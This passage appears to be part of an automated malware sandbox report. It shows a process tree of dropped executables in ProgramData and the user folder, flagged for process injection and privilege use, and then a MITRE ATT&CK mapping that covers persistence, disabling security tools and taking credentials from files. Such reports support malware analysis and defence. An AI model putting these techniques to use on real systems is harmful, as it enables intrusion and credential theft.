    3⤵
    PID:220

C:\ProgramData\rtdmxlb\frdp.exe
C:\ProgramData\rtdmxlb\frdp.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3284
- C:\ProgramData\rtdmxlb\frdp.exe
  "C:\ProgramData\rtdmxlb\frdp.exe"
  2⤵
  - Executes dropped EXE
  PID:3312

C:\ProgramData\rtdmxlb\frdp.exe
C:\ProgramData\rtdmxlb\frdp.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:6000
- C:\ProgramData\rtdmxlb\frdp.exe
  "C:\ProgramData\rtdmxlb\frdp.exe"
  2⤵
  - Executes dropped EXE
  PID:1532

C:\Users\Admin\Windows.exe
C:\Users\Admin\Windows.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 5180 -ip 5180
1⤵
PID:1460

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion